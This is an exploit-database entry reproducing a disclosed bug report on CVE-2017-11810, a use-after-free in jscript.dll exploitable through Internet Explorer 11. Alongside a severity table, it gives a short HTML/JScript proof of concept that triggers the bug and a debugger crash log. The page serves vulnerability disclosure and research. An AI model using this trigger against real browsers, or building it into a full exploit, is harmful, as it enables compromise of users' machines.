Exploitalert - Database of Exploits

Microsoft Internet Explorer 11 jscript!JsErrorToString Use-After-Free

CVE	Category	Price	Severity
CVE-2017-11810	CWE-416	$50,000	High

Author	Risk	Exploitation Type	Date
Google Security Research	High	Remote	2017-11-10

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017110060

Microsoft Internet Explorer 11 jscript!JsErrorToString Use-After-Free

Microsoft IE11: use-after-free in jscript!JsErrorToString CVE-2017-11810 There is a use-after-free in jscript.dll library that can be exploited in IE11. jscript.dll is an old JavaScript library that was used in IE 8 and back. However, IE11 can still load it if put into IE8 compatibility mode and if there is a script tag that can only be understood by the older library (specifically, a script tag with language="Jscript.Encode" attribute will do the trick). PoC: =========================================  <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> </head> <body> <script language="Jscript.Encode"> var e = new Error(); var o = {toString:function() { //alert('in toString'); e.name = 1; CollectGarbage(); //reallocate for(var i=0;i<100;i++) { e.name = {}; } return 'b'; }}; e.name = Array(1000).join('a'); e.message = o; //alert('calling JsErrorToString'); var result = e.toString(); //alert('boom'); alert(result); </script> </body> </html> ========================================= This is a use-after-free in jscript!JsErrorToString that can lead to a heap overflow. (The PoC above crashes in memcpy when attempting to copy a large amount of data). When JsErrorToString runs, it tries to concatenate anamea and amessagea properties of an Error object into an AString object (AString is a string type that is implemented as a list of simpler string parts). First the function converts both anamea and amessagea properties to strings using the ConvertToString function, however the second call to ConvertToString can trigger a callback (via toString) and delete the anamea string. Later, when AString is converted to the BString in AString::ConvertToBSTR, the size of the result BString could be calculated incorrectly which can lead to a heap overflow. Debug log: ========================================= (10b8.1364): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000003 ebx=00000006 ecx=dcbabbb8 edx=00000003 esi=e6e8bb7f edi=e900fb9b eip=751c9a6c esp=09dfbdfc ebp=09dfbe04 iopl=0 nv up ei ng nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286 msvcrt!memcpy+0x270: 751c9a6c 8a4603 mov al,byte ptr [esi+3] ds:002b:e6e8bb82=?? 0:008> k # ChildEBP RetAddr 00 09dfbe04 7013c367 msvcrt!memcpy+0x270 01 09dfbe28 7013c3df jscript!AString::ConvertToBSTR+0x86 02 09dfbe30 7013eeff jscript!VAR::ConvertASTRtoBSTR+0x13 03 09dfbe6c 7013af84 jscript!InvokeDispatch+0x424 04 09dfbf38 7013aefe jscript!InvokeDispatchEx+0x7a 05 09dfbf68 701244a7 jscript!VAR::InvokeByDispID+0x90 06 09dfc360 701248ff jscript!CScriptRuntime::Run+0x12b9 07 09dfc45c 70124783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f 08 09dfc4b4 70124cc3 jscript!ScrFncObj::Call+0x7b 09 09dfc558 70133797 jscript!CSession::Execute+0x23d 0a 09dfc5a0 70135353 jscript!COleScript::ExecutePendingScripts+0x16b 0b 09dfc61c 70135139 jscript!COleScript::ParseScriptTextCore+0x206 0c 09dfc648 6bcecf1c jscript!COleScript::ParseScriptText+0x29 0d 09dfc680 6bced6da MSHTML!CActiveScriptHolder::ParseScriptText+0x51 0e 09dfc6f0 6ba5f185 MSHTML!CScriptCollection::ParseScriptText+0x1c6 0f 09dfc7dc 6ba5ecf7 MSHTML!CScriptData::CommitCode+0x31e 10 09dfc85c 6ba5f8bd MSHTML!CScriptData::Execute+0x232 11 09dfc87c 6bced030 MSHTML!CHtmScriptParseCtx::Execute+0xed 12 09dfc8d0 6bcf8265 MSHTML!CHtmParseBase::Execute+0x201 13 09dfc8ec 6b76388c MSHTML!CHtmPost::Broadcast+0x18e 14 09dfca24 6b894a9d MSHTML!CHtmPost::Exec+0x617 15 09dfca44 6b894a03 MSHTML!CHtmPost::Run+0x3d 16 09dfca60 6b89c1e5 MSHTML!PostManExecute+0x61 17 09dfca74 6b89d578 MSHTML!PostManResume+0x7b 18 09dfcaa4 6b796dbc MSHTML!CHtmPost::OnDwnChanCallback+0x38 19 09dfcabc 6b6d5b90 MSHTML!CDwnChan::OnMethodCall+0x2f 1a 09dfcb0c 6b6d577a MSHTML!GlobalWndOnMethodCall+0x16c 1b 09dfcb60 760f62fa MSHTML!GlobalWndProc+0x103 1c 09dfcb8c 760f6d3a user32!InternalCallWinProc+0x23 1d 09dfcc04 760f77c4 user32!UserCallWinProcCheckWow+0x109 1e 09dfcc64 760f788a user32!DispatchMessageWorker+0x3b5 1f 09dfcc74 6cada8ec user32!DispatchMessageW+0xf 20 09dffe40 6cb056d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464 21 09dfff00 76ab2f5c IEFRAME!LCIETab_ThreadProc+0x3e7 22 09dfff18 74693a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67 23 09dfff50 7667336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94 24 09dfff5c 77379902 kernel32!BaseThreadInitThunk+0xe 25 09dfff9c 773798d5 ntdll!__RtlUserThreadStart+0x70 26 09dfffb4 00000000 ntdll!_RtlUserThreadStart+0x1b ========================================= This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: ifratric

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